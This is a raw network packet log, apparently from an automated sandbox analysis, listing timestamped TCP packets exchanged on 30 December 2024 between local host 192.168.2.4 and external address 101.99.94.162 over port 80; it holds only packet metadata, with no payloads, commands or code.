Dec 30, 2024 19:45:48.233690023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233701944 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.233727932 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.233829021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233856916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233876944 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.234033108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234045982 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234055996 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234086037 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.234108925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.234298944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234311104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234321117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234348059 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.234663963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234674931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234684944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234694958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.234716892 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.234741926 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.235028982 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235039949 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235049009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235071898 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.235095024 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.235359907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235369921 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235394001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235404968 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235407114 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.235416889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235426903 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235440969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.235455036 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.235477924 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.236223936 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236236095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236248016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236278057 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.236295938 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.236370087 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236381054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236391068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236402988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.236412048 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.237155914 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237166882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237170935 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.237179041 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237190008 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237200975 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237212896 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.237212896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237221956 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.237226963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.237257957 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.237962961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238070011 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238080978 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238084078 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.238104105 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238116026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238126040 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.238126993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238140106 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238157988 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.238181114 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.238908052 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238919973 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238930941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238943100 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.238960981 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.238992929 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343521118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343533993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343544006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343559027 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343569040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343586922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343597889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343597889 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343609095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343636036 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343641996 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343646049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343661070 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343688965 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343722105 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343733072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343750954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343760014 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.343785048 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343797922 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.343993902 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344002962 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344053984 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344114065 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344125032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344135046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344166994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344170094 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344183922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344194889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344217062 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344233036 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344418049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344429016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344439030 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344449997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344481945 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344497919 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344506025 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344507933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344520092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344530106 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344556093 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344573021 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344583988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344594002 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344611883 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344623089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344631910 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344649076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344662905 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344707966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344717026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344763041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.344943047 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344963074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344974995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344985008 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.344986916 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345000029 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345009089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345011950 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345041037 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345094919 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345113993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345125914 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345154047 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345177889 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345221043 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345232010 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345242977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345252991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345263958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.345271111 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.345293999 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348385096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348426104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348437071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348442078 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348484993 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348591089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348608017 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348619938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348629951 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348639965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348649979 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348649979 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348663092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348669052 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348673105 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348685026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348695040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348695993 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348706007 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348716021 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348735094 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.348890066 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348898888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.348942041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.453686953 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453699112 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453710079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453737974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453751087 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453756094 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.453763008 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453773975 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453787088 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.453794003 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.453813076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.453988075 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454061031 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454082012 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454096079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454102039 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454107046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454118013 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454125881 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454125881 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454137087 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454159021 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454163074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454174995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454175949 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454185963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454210997 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454220057 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454262018 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454272985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454313040 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454484940 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454503059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454622984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454632998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454646111 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454664946 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454672098 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454673052 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454679966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454696894 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454710960 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454720974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454742908 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454752922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454762936 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454787970 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454796076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454797983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454809904 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454819918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454850912 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454925060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454936028 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454946995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.454971075 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.454996109 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455007076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455017090 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455032110 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455043077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455060959 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455075979 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455229998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455240965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455250978 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455262899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455271959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455286980 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455298901 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455322027 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455333948 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455337048 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455383062 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455410957 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455420017 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455425024 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455442905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455452919 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455460072 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455462933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455485106 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455495119 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455677986 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455696106 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455704927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455715895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455734015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455744028 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455749035 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455749035 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455755949 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455773115 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455775976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455789089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455806971 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455828905 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.455914974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455924988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455935001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455946922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.455981016 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.456003904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564132929 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564146042 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564158916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564176083 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564186096 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564188957 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564205885 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564215899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564227104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564227104 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564238071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564254045 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564255953 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564266920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564269066 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564280033 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564291000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564308882 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564332962 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564469099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564480066 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564500093 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564511061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564512968 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564521074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564532042 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564542055 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564543962 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564572096 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564583063 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564717054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564728022 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564738989 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564768076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.564953089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564964056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564975977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564985991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564991951 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.564995050 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565001965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565026045 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565045118 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565072060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565083981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565093994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565119982 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565145016 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565206051 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565215111 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565221071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565227032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565262079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565269947 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565272093 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565310001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565319061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565323114 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565354109 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565536976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565548897 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565560102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565573931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565586090 CET	50071	80	192.168.2.4	101.99.94.162
